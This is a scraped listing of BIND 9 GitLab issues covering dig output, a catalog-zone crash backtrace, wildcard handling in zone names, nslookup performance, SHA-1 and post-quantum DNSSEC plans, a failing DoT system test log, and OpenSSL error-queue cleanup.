BIND issueshttps://gitlab.isc.org/isc-projects/bind9/-/issues2023-06-27T23:10:23Zhttps://gitlab.isc.org/isc-projects/bind9/-/issues/4172dig query message missing with +qr2023-06-27T23:10:23ZDarren Ankneydig query message missing with +qrdig +qr option does not show the entire query message when +qr is specified when performing an IXFR or AXFR.
This: `dig www.microsoft.com IN A +qr` shows:
```
; <<>> DiG 9.18.16 <<>> www.microsoft.com IN A +qr
;; global options: +cmd
;;...dig +qr option does not show the entire query message when +qr is specified when performing an IXFR or AXFR.
This: `dig www.microsoft.com IN A +qr` shows:
```
; <<>> DiG 9.18.16 <<>> www.microsoft.com IN A +qr
;; global options: +cmd
;; Sending:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 17765
;; flags: rd ad; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 27b568d46902cd7d
;; QUESTION SECTION:
;www.microsoft.com. IN A
;; QUERY SIZE: 58
```
whereas this: `dig mylocal IN AXFR +qr @192.168.40.142` shows only:
```
; <<>> DiG 9.18.16 <<>> mylocal IN AXFR +qr @192.168.40.142
;; global options: +cmd
;; QUERY SIZE: 48
```
and this: `dig mylocal -t ixfr=70858 +qr @192.168.40.142` shows only:
```
; <<>> DiG 9.18.16 <<>> mylocal -t ixfr=70858 +qr @192.168.40.142
;; global options: +cmd
mylocal. 0 IN SOA . . 70858 0 0 0 0
;; QUERY SIZE: 82
```
Missing are other details such as the OPT PSEUDOSECTION and possibly more.
Tested in 9.16.37 and 9.18.16https://gitlab.isc.org/isc-projects/bind9/-/issues/4171catz crashed in dns_catz_dbupdate_callback2023-10-20T07:47:47ZOndřej Surýcatz crashed in dns_catz_dbupdate_callbackA [recent job](https://gitlab.isc.org/isc-projects/bind9/-/jobs/3488427) failed with:
```
27-Jun-2023 06:41:51.371 ht.c:364: REQUIRE(((ht) != ((void *)0) && ((const isc__magic_t *)(ht))->magic == ((('H') << 24 | ('T') << 16 | ('a') << 8...A [recent job](https://gitlab.isc.org/isc-projects/bind9/-/jobs/3488427) failed with:
```
27-Jun-2023 06:41:51.371 ht.c:364: REQUIRE(((ht) != ((void *)0) && ((const isc__magic_t *)(ht))->magic == ((('H') << 24 | ('T') << 16 | ('a') << 8 | ('b'))))) failed
27-Jun-2023 06:41:51.371 /builds/isc-projects/bind9/lib/isc/.libs/libisc-9.19.15-dev.so(isc_backtrace_log+0x39) [0x7fb70ba2e0d8]
27-Jun-2023 06:41:51.371 /builds/isc-projects/bind9/bin/named/.libs/lt-named() [0x422644]
27-Jun-2023 06:41:51.371 /builds/isc-projects/bind9/lib/isc/.libs/libisc-9.19.15-dev.so(isc_assertion_failed+0xa) [0x7fb70ba2dc9d]
27-Jun-2023 06:41:51.371 /builds/isc-projects/bind9/lib/isc/.libs/libisc-9.19.15-dev.so(isc_ht_find+0x9d) [0x7fb70ba3633f]
27-Jun-2023 06:41:51.371 /builds/isc-projects/bind9/lib/dns/.libs/libdns-9.19.15-dev.so(dns_catz_dbupdate_callback+0x84) [0x7fb70b43fe1c]
27-Jun-2023 06:41:51.371 /builds/isc-projects/bind9/lib/dns/.libs/libdns-9.19.15-dev.so(dns_db_endload+0x46) [0x7fb70b44de68]
27-Jun-2023 06:41:51.371 /builds/isc-projects/bind9/lib/dns/.libs/libdns-9.19.15-dev.so(+0x1aa38b) [0x7fb70b5aa38b]
27-Jun-2023 06:41:51.371 /builds/isc-projects/bind9/lib/dns/.libs/libdns-9.19.15-dev.so(+0x8a3c6) [0x7fb70b48a3c6]
27-Jun-2023 06:41:51.371 /builds/isc-projects/bind9/lib/isc/.libs/libisc-9.19.15-dev.so(+0x56230) [0x7fb70ba56230]
27-Jun-2023 06:41:51.371 /lib64/libuv.so.1(uv__work_done+0xad) [0x7fb709425afd]
27-Jun-2023 06:41:51.371 /lib64/libuv.so.1(+0x132f1) [0x7fb70942a2f1]
27-Jun-2023 06:41:51.371 /lib64/libuv.so.1(uv__io_poll+0x4c5) [0x7fb70943bd15]
27-Jun-2023 06:41:51.371 /lib64/libuv.so.1(uv_run+0x114) [0x7fb70942aa74]
27-Jun-2023 06:41:51.371 /builds/isc-projects/bind9/lib/isc/.libs/libisc-9.19.15-dev.so(+0x4072c) [0x7fb70ba4072c]
27-Jun-2023 06:41:51.371 /builds/isc-projects/bind9/lib/isc/.libs/libisc-9.19.15-dev.so(+0x4fdbb) [0x7fb70ba4fdbb]
27-Jun-2023 06:41:51.371 /builds/isc-projects/bind9/lib/isc/.libs/libisc-9.19.15-dev.so(+0x4fde4) [0x7fb70ba4fde4]
27-Jun-2023 06:41:51.371 /lib64/libpthread.so.0(+0x81da) [0x7fb7082f81da]
27-Jun-2023 06:41:51.371 /lib64/libc.so.6(clone+0x43) [0x7fb7075cbe73]
27-Jun-2023 06:41:51.371 exiting (due to assertion failure)
```July 2023 (9.18.17, 9.18.17-S1, 9.19.15)Arаm SаrgsyаnArаm Sаrgsyаnhttps://gitlab.isc.org/isc-projects/bind9/-/issues/4170Extend EXPIRE opt support into xfrin.c2023-09-01T08:42:01ZMark AndrewsExtend EXPIRE opt support into xfrin.cTransfers from secondaries should include an EXPIRE option. If returned adjust zone expiry times and file modification times. We currently return this with AXFR and IXFR responses if requested. Adding the OPT record and EXPIRE option ...Transfers from secondaries should include an EXPIRE option. If returned adjust zone expiry times and file modification times. We currently return this with AXFR and IXFR responses if requested. Adding the OPT record and EXPIRE option should use the existing controls we use for SOA/UDP refresh requests.September 2023 (9.16.44, 9.16.44-S1, 9.18.19, 9.18.19-S1, 9.19.17)Mark AndrewsMark Andrewshttps://gitlab.isc.org/isc-projects/bind9/-/issues/4169Adding a META tag to the doc tree for Google Analytics/Bing2023-06-29T16:50:37ZDan MahoneyAdding a META tag to the doc tree for Google Analytics/BingThe only way we can track 404's on ReadTheDocs is with Google Search console (and the related BING tools, which validate using google, ie if you access to a thing in the google console, bing will also give you access to their tools with ...The only way we can track 404's on ReadTheDocs is with Google Search console (and the related BING tools, which validate using google, ie if you access to a thing in the google console, bing will also give you access to their tools with no extra work.
We cannot use the "upload an HTML file" to RTD, nor a TXT record, and the Google Analytics tag method isn't compatible. The META tag is pretty much the only option that works here.
Google Search Console wants us to add:
`<meta name="google-site-verification" content="0-DMrB_qDynsvXBKJhpsS5m8l5oVea8Qe2ojkudjtCY" />` to our default page (presently bind 9.18.16)
My reading of Sphinx implies that we need to add:
```
.. meta::
:google-site-verification: 0-DMrB_qDynsvXBKJhpsS5m8l5oVea8Qe2ojkudjtCY
```
to `doc/arm/index.rst` to cause this meta tag to be added. It's fine if this gets committed now and has to wait for the next release before it shows up in tree, i.e. for the release cut of 9.18.17July 2023 (9.18.17, 9.18.17-S1, 9.19.15)Michał KępieńMichał Kępieńhttps://gitlab.isc.org/isc-projects/bind9/-/issues/4167BIND allows “*” to be used as a normal character in any position.2023-06-26T07:48:03Zqingzhao anBIND allows “*” to be used as a normal character in any position.The wildcard "\*" is supposed to appear only in the lowest level of a domain name, however, as described in CVE-2020-8619, bind allows the use of "\*" in any byte of a zone file, which may lead to security issues.
As far as I know, in t...The wildcard "\*" is supposed to appear only in the lowest level of a domain name, however, as described in CVE-2020-8619, bind allows the use of "\*" in any byte of a zone file, which may lead to security issues.
As far as I know, in the BIND 9.17.5 version that I use, BIND treats "\*" as a normal character like "abcd", and also allows other characters like "?". Is this what BIND expects? BIND may not pay enough attention to the abuse of "\*".
This is my zone file
```
com.example.*. 500 IN SOA ns1.outside.edu. root.campus.edu. 3 6048 86400 2419200 6048
com.example.*. 500 IN NS ns1.outside.edu.
com.example.*. 500 IN A 1.1.1.1
```
This is my query <example.com.example.\*. IN A>
The response is
```
“opcode QUERY”,
“rcode NOERROR”,
“flags QR AA”,
“;QUESTION”,
"example.com.example.*. IN A",
“;ANSWER”,
“example.com.example.*. 500 IN A 1.1.1.1",
“;AUTHORITY”,
"com.example.. 500 IN NS ns1.outside.edu.”,
“;ADDITIONAL”
```https://gitlab.isc.org/isc-projects/bind9/-/issues/4166BIND allows “*” to be used as a normal character in any position.2023-06-25T15:01:40Zqingzhao anBIND allows “*” to be used as a normal character in any position.The wildcard “" is supposed to appear only in the lowest level of a domain name, however, as described in CVE-2020-8619, bind allows the use of "” in any byte of a zone file, which may lead to security issues.
As far as I know, in the B...The wildcard “" is supposed to appear only in the lowest level of a domain name, however, as described in CVE-2020-8619, bind allows the use of "” in any byte of a zone file, which may lead to security issues.
As far as I know, in the BIND 9.17.5 version that I use, BIND treats “" as a normal character like “abcd”, and also allows other characters like “?”. Is this what BIND expects? BIND may not pay enough attention to the abuse of "”.
This is my zone file
com.example.. 500 IN SOA ns1.outside.edu. root.campus.edu. 3 6048 86400 2419200 6048
com.example.. 500 IN NS ns1.outside.edu.
.com.example.. 500 IN A 1.1.1.1
This is my query <example.com.example.. IN A>
The response is
“opcode QUERY”,
“rcode NOERROR”,
“flags QR AA”,
“;QUESTION”,
"example.com.example.. IN A",
“;ANSWER”,
“example.com.example.. 500 IN A 1.1.1.1",
“;AUTHORITY”,
"com.example.. 500 IN NS ns1.outside.edu.”,
“;ADDITIONAL”https://gitlab.isc.org/isc-projects/bind9/-/issues/4164Investigate performance impact of UDP_GRO2023-06-27T07:06:24ZPetr Špačekpspacek@isc.orgInvestigate performance impact of UDP_GRO### Description
Mention of UDP_GRO in [Linux udp man page](https://man.archlinux.org/man/udp.7) sounds worth investigating:
> #### UDP_GRO (since Linux 5.0)
> Enables UDP receive offload. If enabled, the socket may receive multiple dat...### Description
Mention of UDP_GRO in [Linux udp man page](https://man.archlinux.org/man/udp.7) sounds worth investigating:
> #### UDP_GRO (since Linux 5.0)
> Enables UDP receive offload. If enabled, the socket may receive multiple datagrams worth of data as a single large buffer, together with a cmsg(3) that holds the segment size. This option is the inverse of segmentation offload. It reduces receive cost by handling multiple datagrams worth of data as a single large packet in the kernel receive path, even when that exceeds MTU. This option should not be used in code intended to be portable.
More reading:
https://developers.redhat.com/articles/2021/11/05/improve-udp-performance-rhel-85
### Request
- Investigate if UDP receipt is even a bottleneck.
- Investigate if UDP_GRO makes a difference and is worth messing with (I supposed in libuv).
### Links / referencesLong-termhttps://gitlab.isc.org/isc-projects/bind9/-/issues/4163nslookup performance in dnsutils 1:9.19.14-1+ubuntu22.04.1+isc+12023-07-05T08:19:56ZAndreas Perhabnslookup performance in dnsutils 1:9.19.14-1+ubuntu22.04.1+isc+1<!--
If the bug you are reporting is potentially security-related - for example,
if it involves an assertion failure or other crash in `named` that can be
triggered repeatedly - then please make sure that you make the new issue
confident...<!--
If the bug you are reporting is potentially security-related - for example,
if it involves an assertion failure or other crash in `named` that can be
triggered repeatedly - then please make sure that you make the new issue
confidential!
-->
### Summary
nslookup in the newer version (9.19.14 vs 9.19.13) is way too slow
### BIND version used
```
BIND 9.19.14-1+ubuntu22.04.1+isc+1-Ubuntu (Development Release) <id:>
running on Linux x86_64 5.19.0-45-generic #46-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 7 09:08:58 UTC 2023
built by make with '--build=x86_64-linux-gnu' '--prefix=/usr' '--includedir=${prefix}/include' '--mandir=${prefix}/share/man' '--infodir=${prefix}/share/info' '--sysconfdir=/etc' '--localstatedir=/var' '--disable-option-checking' '--disable-silent-rules' '--libdir=${prefix}/lib/x86_64-linux-gnu' '--libexecdir=${prefix}/lib/x86_64-linux-gnu' '--disable-maintainer-mode' '--disable-dependency-tracking' '--libdir=/usr/lib/x86_64-linux-gnu' '--sysconfdir=/etc/bind' '--with-python=python3' '--localstatedir=/' '--enable-threads' '--enable-largefile' '--with-libtool' '--enable-shared' '--disable-static' '--with-gost=no' '--with-openssl=/usr' '--with-gssapi=yes' '--with-libidn2' '--with-json-c' '--with-lmdb=/usr' '--with-gnu-ld' '--with-maxminddb' '--with-atf=no' '--enable-ipv6' '--enable-rrl' '--enable-filter-aaaa' '--disable-native-pkcs11' '--enable-dnstap' 'build_alias=x86_64-linux-gnu' 'CFLAGS=-g -O2 -ffile-prefix-map=/build/bind9-213IbN/bind9-9.19.14=. -flto=auto -ffat-lto-objects -flto=auto -ffat-lto-objects -fstack-protector-strong -Wformat -Werror=format-security -fno-strict-aliasing -fno-delete-null-pointer-checks -DNO_VERSION_DATE -DDIG_SIGCHASE' 'LDFLAGS=-Wl,-Bsymbolic-functions -flto=auto -ffat-lto-objects -flto=auto -Wl,-z,relro -Wl,-z,now' 'CPPFLAGS=-Wdate-time -D_FORTIFY_SOURCE=2'
compiled by GCC 11.3.0
compiled with OpenSSL version: OpenSSL 3.0.2 15 Mar 2022
linked to OpenSSL version: OpenSSL 3.0.2 15 Mar 2022
compiled with libuv version: 1.44.2
linked to libuv version: 1.44.2
compiled with liburcu version: 0.13.2
compiled with libnghttp2 version: 1.43.0
linked to libnghttp2 version: 1.43.0
compiled with libxml2 version: 2.9.13
linked to libxml2 version: 20913
compiled with json-c version: 0.15
linked to json-c version: 0.15
compiled with zlib version: 1.2.11
linked to zlib version: 1.2.11
linked to maxminddb version: 1.5.2
compiled with protobuf-c version: 1.3.3
linked to protobuf-c version: 1.3.3
threads support is enabled
DNSSEC algorithms: RSASHA1 NSEC3RSASHA1 RSASHA256 RSASHA512 ECDSAP256SHA256 ECDSAP384SHA384 ED25519 ED448
DS algorithms: SHA-1 SHA-256 SHA-384
HMAC algorithms: HMAC-MD5 HMAC-SHA1 HMAC-SHA224 HMAC-SHA256 HMAC-SHA384 HMAC-SHA512
TKEY mode 2 support (Diffie-Hellman): no
TKEY mode 3 support (GSS-API): yes
default paths:
named configuration: /etc/bind/named.conf
rndc configuration: /etc/bind/rndc.conf
nsupdate session key: //run/named/session.key
named PID file: //run/named/named.pid
named lock file: //run/named/named.lock
geoip-directory: /usr/share/GeoIP
```
### Steps to reproduce
```bash
docker run --rm internetsystemsconsortium/bind9:9.19 bash -c 'apt update && apt install dnsutils -y && time nslookup www.google.com && time nslookup www.google.com && named -V'
```
### What is the current *bug* behavior?
a typical run of `time nslookup www.google.com` now takes about 200ms
### What is the expected *correct* behavior?
with the previous version 9.19.13 (binary still on our backup images of our servers, unfortunately `apt install dnsutils=1:9.19.13-1+ubuntu22.04.1+isc+1 -y` does not work) we could see around 50ms for the first run of `time nslookup www.google.com` and below 10ms an immediate following run.
### Relevant configuration files
(Paste any relevant configuration files - please use code blocks (```)
to format console output. If submitting the contents of your
configuration file in a non-confidential Issue, it is advisable to
obscure key secrets: this can be done automatically by using
`named-checkconf -px`.)
### Relevant logs and/or screenshots
9.19.14
```
Server: 192.168.30.210
Address: 192.168.30.210#53
Non-authoritative answer:
Name: www.google.com
Address: 142.251.36.196
Name: www.google.com
Address: 2a00:1450:4016:809::2004
real 0m0.207s
user 0m0.005s
sys 0m0.005s
Server: 192.168.30.210
Address: 192.168.30.210#53
Non-authoritative answer:
Name: www.google.com
Address: 142.251.36.196
Name: www.google.com
Address: 2a00:1450:4016:809::2004
real 0m0.179s
user 0m0.002s
sys 0m0.008s
BIND 9.19.14-1+ubuntu22.04.1+isc+1-Ubuntu (Development Release) <id:>
running on Linux x86_64 5.19.0-45-generic #46-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 7 09:08:58 UTC 2023
built by make with '--build=x86_64-linux-gnu' '--prefix=/usr' '--includedir=${prefix}/include' '--mandir=${prefix}/share/man' '--infodir=${prefix}/share/info' '--sysconfdir=/etc' '--localstatedir=/var' '--disable-option-checking' '--disable-silent-rules' '--libdir=${prefix}/lib/x86_64-linux-gnu' '--libexecdir=${prefix}/lib/x86_64-linux-gnu' '--disable-maintainer-mode' '--disable-dependency-tracking' '--libdir=/usr/lib/x86_64-linux-gnu' '--sysconfdir=/etc/bind' '--with-python=python3' '--localstatedir=/' '--enable-threads' '--enable-largefile' '--with-libtool' '--enable-shared' '--disable-static' '--with-gost=no' '--with-openssl=/usr' '--with-gssapi=yes' '--with-libidn2' '--with-json-c' '--with-lmdb=/usr' '--with-gnu-ld' '--with-maxminddb' '--with-atf=no' '--enable-ipv6' '--enable-rrl' '--enable-filter-aaaa' '--disable-native-pkcs11' '--enable-dnstap' 'build_alias=x86_64-linux-gnu' 'CFLAGS=-g -O2 -ffile-prefix-map=/build/bind9-213IbN/bind9-9.19.14=. -flto=auto -ffat-lto-objects -flto=auto -ffat-lto-objects -fstack-protector-strong -Wformat -Werror=format-security -fno-strict-aliasing -fno-delete-null-pointer-checks -DNO_VERSION_DATE -DDIG_SIGCHASE' 'LDFLAGS=-Wl,-Bsymbolic-functions -flto=auto -ffat-lto-objects -flto=auto -Wl,-z,relro -Wl,-z,now' 'CPPFLAGS=-Wdate-time -D_FORTIFY_SOURCE=2'
compiled by GCC 11.3.0
compiled with OpenSSL version: OpenSSL 3.0.2 15 Mar 2022
linked to OpenSSL version: OpenSSL 3.0.2 15 Mar 2022
compiled with libuv version: 1.44.2
linked to libuv version: 1.44.2
compiled with liburcu version: 0.13.2
compiled with libnghttp2 version: 1.43.0
linked to libnghttp2 version: 1.43.0
compiled with libxml2 version: 2.9.13
linked to libxml2 version: 20913
compiled with json-c version: 0.15
linked to json-c version: 0.15
compiled with zlib version: 1.2.11
linked to zlib version: 1.2.11
linked to maxminddb version: 1.5.2
compiled with protobuf-c version: 1.3.3
linked to protobuf-c version: 1.3.3
threads support is enabled
DNSSEC algorithms: RSASHA1 NSEC3RSASHA1 RSASHA256 RSASHA512 ECDSAP256SHA256 ECDSAP384SHA384 ED25519 ED448
DS algorithms: SHA-1 SHA-256 SHA-384
HMAC algorithms: HMAC-MD5 HMAC-SHA1 HMAC-SHA224 HMAC-SHA256 HMAC-SHA384 HMAC-SHA512
TKEY mode 2 support (Diffie-Hellman): no
TKEY mode 3 support (GSS-API): yes
default paths:
named configuration: /etc/bind/named.conf
rndc configuration: /etc/bind/rndc.conf
nsupdate session key: //run/named/session.key
named PID file: //run/named/named.pid
named lock file: //run/named/named.lock
geoip-directory: /usr/share/GeoIP
```
9.19.13
```
Server: 192.168.30.210
Address: 192.168.30.210#53
Non-authoritative answer:
Name: www.google.com
Address: 142.251.36.196
Name: www.google.com
Address: 2a00:1450:4016:809::2004
real 0m0.007s
user 0m0.003s
sys 0m0.003s
Server: 192.168.30.210
Address: 192.168.30.210#53
Non-authoritative answer:
Name: www.google.com
Address: 142.251.36.196
Name: www.google.com
Address: 2a00:1450:4016:809::2004
real 0m0.008s
user 0m0.007s
sys 0m0.000s
BIND 9.19.13-1+ubuntu22.04.1+isc+1-Ubuntu (Development Release) <id:>
running on Linux x86_64 5.19.0-45-generic #46-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 7 09:08:58 UTC 2023
built by make with '--build=x86_64-linux-gnu' '--prefix=/usr' '--includedir=${prefix}/include' '--mandir=${prefix}/share/man' '--infodir=${prefix}/share/info' '--sysconfdir=/etc' '--localstatedir=/var' '--disable-option-checking' '--disable-silent-rules' '--libdir=${prefix}/lib/x86_64-linux-gnu' '--libexecdir=${prefix}/lib/x86_64-linux-gnu' '--disable-maintainer-mode' '--disable-dependency-tracking' '--libdir=/usr/lib/x86_64-linux-gnu' '--sysconfdir=/etc/bind' '--with-python=python3' '--localstatedir=/' '--enable-threads' '--enable-largefile' '--with-libtool' '--enable-shared' '--disable-static' '--with-gost=no' '--with-openssl=/usr' '--with-gssapi=yes' '--with-libidn2' '--with-json-c' '--with-lmdb=/usr' '--with-gnu-ld' '--with-maxminddb' '--with-atf=no' '--enable-ipv6' '--enable-rrl' '--enable-filter-aaaa' '--disable-native-pkcs11' '--enable-dnstap' 'build_alias=x86_64-linux-gnu' 'CFLAGS=-g -O2 -ffile-prefix-map=/build/bind9-CPF2uL/bind9-9.19.13=. -flto=auto -ffat-lto-objects -flto=auto -ffat-lto-objects -fstack-protector-strong -Wformat -Werror=format-security -fno-strict-aliasing -fno-delete-null-pointer-checks -DNO_VERSION_DATE -DDIG_SIGCHASE' 'LDFLAGS=-Wl,-Bsymbolic-functions -flto=auto -ffat-lto-objects -flto=auto -Wl,-z,relro -Wl,-z,now' 'CPPFLAGS=-Wdate-time -D_FORTIFY_SOURCE=2'
compiled by GCC 11.3.0
compiled with OpenSSL version: OpenSSL 3.0.2 15 Mar 2022
linked to OpenSSL version: OpenSSL 3.0.2 15 Mar 2022
compiled with libuv version: 1.44.2
linked to libuv version: 1.44.2
compiled with liburcu version: 0.13.2
compiled with libnghttp2 version: 1.43.0
linked to libnghttp2 version: 1.43.0
compiled with libxml2 version: 2.9.13
linked to libxml2 version: 20913
compiled with json-c version: 0.15
linked to json-c version: 0.15
compiled with zlib version: 1.2.11
linked to zlib version: 1.2.11
linked to maxminddb version: 1.5.2
compiled with protobuf-c version: 1.3.3
linked to protobuf-c version: 1.3.3
threads support is enabled
DNSSEC algorithms: RSASHA1 NSEC3RSASHA1 RSASHA256 RSASHA512 ECDSAP256SHA256 ECDSAP384SHA384 ED25519 ED448
DS algorithms: SHA-1 SHA-256 SHA-384
HMAC algorithms: HMAC-MD5 HMAC-SHA1 HMAC-SHA224 HMAC-SHA256 HMAC-SHA384 HMAC-SHA512
TKEY mode 2 support (Diffie-Hellman): no
TKEY mode 3 support (GSS-API): yes
default paths:
named configuration: /etc/bind/named.conf
rndc configuration: /etc/bind/rndc.conf
nsupdate session key: //run/named/session.key
named PID file: //run/named/named.pid
named lock file: //run/named/named.lock
geoip-directory: /usr/share/GeoIP
```
### Possible fixes
(If you can, link to the line of code that might be responsible for the
problem.)July 2023 (9.18.17, 9.18.17-S1, 9.19.15)Ondřej SurýOndřej Surýhttps://gitlab.isc.org/isc-projects/bind9/-/issues/4162SHA-1 removal2023-06-27T07:27:14ZPetr Špačekpspacek@isc.orgSHA-1 removal### Description
From [NIST announcement](https://csrc.nist.gov/news/2022/nist-transitioning-away-from-sha-1-for-all-apps):
> As a result, NIST will transition away from the use of SHA-1 for applying cryptographic protection to **all app...### Description
From [NIST announcement](https://csrc.nist.gov/news/2022/nist-transitioning-away-from-sha-1-for-all-apps):
> As a result, NIST will transition away from the use of SHA-1 for applying cryptographic protection to **all applications** by December 31, 2030
### Request
Don't get caught asleep at the wheel.
### Links / references
Send questions about the transition in an email to sha-1-transition@nist.gov. Visit the [Policy on Hash Functions](https://csrc.nist.gov/projects/hash-functions/nist-policy-on-hash-functions) page to learn more.Long-term2030-12-31https://gitlab.isc.org/isc-projects/bind9/-/issues/4161Support quantum safe DNSSEC algorithms2023-06-27T07:27:28ZPetr Špačekpspacek@isc.orgSupport quantum safe DNSSEC algorithms### Description
Reportedly US government is going to mandate post-quantum algorithm support from 2026 onward, with no legacy algorithms allowed after 2033.
### Request
Explore how we can integrate quantum safe algorithms for early exp...### Description
Reportedly US government is going to mandate post-quantum algorithm support from 2026 onward, with no legacy algorithms allowed after 2033.
### Request
Explore how we can integrate quantum safe algorithms for early experimentation.
Many algorithms are already available as OpenSSL provider here: https://github.com/open-quantum-safe/oqs-provider
### Additional details
* [FALCON implementation in PowerDNS](https://indico.dns-oarc.net/event/42/contributions/902/attachments/871/1601/Post-Quantum%20DNSSEC%20with%20FALCON-512%20and%20PowerDNS(2).pdf)
* [Verisign's presentation](https://indico.dns-oarc.net/event/46/contributions/985/attachments/938/1728/OARC40-ResearchAgendaForAPQCDNSSEC-Final.pdf)
Word of mouth from Red Hat crypto people I talked to:
Right now it seems that NIST might standardize 5 algorithms, with several variants for each algorithm with intent to provide 128/256 bit-equivalent of security.
Rambling about candidate algorithms for DNSSEC:
- HSS/LMS & XMSS^MT algorithms are extremely susceptible to key reuse. One key reuse ruins the whole thing. Don't use it.
- Falcon-512 has smallest signatures by large margin (around 666 bytes). CRYSTALS-Dillithium are built on the same principle but have larger signatures (about 2420 bytes). The problem is, both are reportedly built on shaky grounds because we as humankind don't fully understand the math behind them, so chances for breaking these algorithms in couple years are non-negligible.
- The remaining candidate algorithm is SPHINCS+-128. That one is most solid because it's based on ordinary hashes, which are well understood. The catch is that one signature is about 7856 bytes :exploding_head:
Consequently, this sounds like we need very good very solid TCP/TLS/QUIC support in client and server, so we are not limited to UDP packet sizes. That's IMHO the only way to go without significantly changing the protocol.
(Or we can go and engineer DNS 2.0 :grinning:)
### Links / referencesLong-term2026-01-01https://gitlab.isc.org/isc-projects/bind9/-/issues/4160doth system test is failing on MacOS - both system's CA store tests based are...2023-09-05T21:16:42ZMark Andrewsdoth system test is failing on MacOS - both system's CA store tests based are failingLooks like we are getting a different error state and the expected message is not emitted.
```
S:doth:2023-06-22T16:29:52+1000
T:doth:1:A
A:doth:System test doth
I:doth:PORTS:5300,5301,5302,5303,5304,5305,5306,5307,5308,5309,5310,5311,5...Looks like we are getting a different error state and the expected message is not emitted.
```
S:doth:2023-06-22T16:29:52+1000
T:doth:1:A
A:doth:System test doth
I:doth:PORTS:5300,5301,5302,5303,5304,5305,5306,5307,5308,5309,5310,5311,5312
I:doth:starting servers
I:doth:checking DoT query (with TLS verification using the system's CA store, failure expected) (1)
setup_libs()
setup_system()
create_search_list()
ndots is 1.
timeout is 0.
retries is 3.
get_server_list()
make_server(::1)
dig_query_setup
parse_args()
making new lookup
make_empty_lookup()
make_empty_lookup() = 0x1061e4000->references = 1
main parsing +tls
main parsing +noadd
main parsing +nosea
main parsing +nostat
main parsing +noquest
main parsing +nocmd
main parsing -p
main parsing +tls-ca
main parsing +tls-hostname=srv01.crt01.example.com
main parsing @10.53.0.1
make_server(10.53.0.1)
main parsing .
clone_lookup()
make_empty_lookup()
make_empty_lookup() = 0x1061e5800->references = 1
clone_server_list()
make_server(10.53.0.1)
looking up .
main parsing SOA
main parsing -d
dig_startup()
start_lookup()
setup_lookup(0x1061e5800)
resetting lookup counter.
idn_textname: .
using root origin
recursive query
AD query
add_question()
starting to render the message
add_opt()
done rendering
create query 0x10613c8c0 linked to lookup 0x1061e5800
dighost.c:2141:lookup_attach(0x1061e5800) = 2
dighost.c:2651:new_query(0x10613c8c0) = 1
do_lookup()
start_tcp(0x10613c8c0)
dighost.c:2928:query_attach(0x10613c8c0) = 2
query->servname = 10.53.0.1
dighost.c:3016:query_attach(0x10613c8c0) = 3
isc_tls_create -> 0x106086000
initialize_tls -> success
tls_do_bio: sock->tlsstream.state=0
SSL_do_handshake -> -1
tls_do_bio: tls_try_handshake -> -1
tls_do_bio: tls_status=2 saved_errno=0
tls_do_bio: tls_process_outgoing -> 303
tls_do_bio: sock->tlsstream.state=1
tls_do_bio: tls_status=2 saved_errno=0
tls_do_bio: tls_process_outgoing -> 0
tls_do_bio: SSL_ERROR_WANT_READ
tls_readcb: success
tls_do_bio: sock->tlsstream.state=1
SSL_do_handshake -> -1
tls_do_bio: tls_status=5 saved_errno=0
tls_do_bio: tls_process_outgoing -> 7
tls_do_bio: sock->tlsstream.state=1
tls_do_bio: tls_status=5 saved_errno=0
tls_do_bio: tls_process_outgoing -> 0
tls_do_bio: SSL_ERROR_WANT_READ
tls_readcb: end of file
tls_failed_read_cb: end of file
tls_failed_read_cb: is is TLS counterpart of isc__nm_failed_connect_cb()
tls_call_connect_cb: calling sock->connect_cb(0x10613ed80, end of file, 0x10610a800)
streamdns_transport_connected: end of file -> operation canceled
streamdns_transport_connected: sock->streamdns.tls_verify_error=unable to get local issuer certificate
tcp_connected()
tcp_connected(0x10613ef40, operation canceled, 0x10613c8c0)
dighost.c:3526:lookup_attach(0x1061e5800) = 3
in cancel handler
dighost.c:3546:_cancel_lookup()
canceling pending query 0x10613c8c0, belonging to 0x1061e5800
dighost.c:1729:query_detach(0x10613c8c0) = 2
dighost.c:2774:query_detach(0x10613c8c0) = 1
check_if_done()
list empty
dighost.c:3549:query_detach(0x10613c8c0) = 0
dighost.c:3549:destroy_query(0x10613c8c0) = 0
dighost.c:1687:lookup_detach(0x1061e5800) = 2
dighost.c:3550:lookup_detach(0x1061e5800) = 1
clear_current_lookup()
lookup cleared
dighost.c:1820:lookup_detach(0x1061e5800) = 0
destroy_lookup
freeing server 0x106109e00 belonging to 0x1061e5800
start_lookup()
check_if_done()
list empty
shutting down
shutdown
destroy_lookup
freeing server 0x106108a00 belonging to 0x1061e4000
cancel_all()
destroy_libs()
flush_server_list()
destroy DST lib
Removing log context
Destroy memory
I:doth:failed
I:doth:exit status: 1
I:doth:stopping servers
R:doth:FAIL
E:doth:2023-06-22T16:29:57+1000
FAIL: doth
============================================================================
Testsuite summary for BIND 9.19.15-dev
============================================================================
# TOTAL: 1
# PASS: 0
# SKIP: 0
# XFAIL: 0
# FAIL: 1
# XPASS: 0
# ERROR: 0
============================================================================
See bin/tests/system/run.log
Please report to https://gitlab.isc.org/isc-projects/bind9/-/issues/new?issuable_template=Bug
============================================================================
make[3]: *** [run.log] Error 1
make[2]: *** [check-TESTS] Error 2
make[1]: *** [check-am] Error 2
make: *** [check-recursive] Error 1
```
[debugging diff](/uploads/a1a79a1bb5239c456385dd40fc4a08f8/diff)Not plannedhttps://gitlab.isc.org/isc-projects/bind9/-/issues/4159OpenSSL error queue not cleaned2024-01-18T03:20:48ZEric SesterhennOpenSSL error queue not cleanedOpenSSL 3 uses a queue for errors (see e.g. https://subscription.packtpub.com/book/web-development/9781800560345/9/ch09lvl1sec65/understanding-the-openssl-error-queue) the memory for errors in this queue is allocated
via `isc__tls_malloc...OpenSSL 3 uses a queue for errors (see e.g. https://subscription.packtpub.com/book/web-development/9781800560345/9/ch09lvl1sec65/understanding-the-openssl-error-queue) the memory for errors in this queue is allocated
via `isc__tls_malloc_ex()` and freed in three cases:
1) When the queue is emptied via `ERR_get_error_all()` and friends, eg via `dst__openssl_toresult()`
2) Via `isc__tls_shutdown()` when the memory pool is destroyed via `isc_mem_destroy()`
3) Via `OPENSSL_cleanup()` on a clean shutdown during library unload
Some parts of the code clean that queue directly after an error happens,
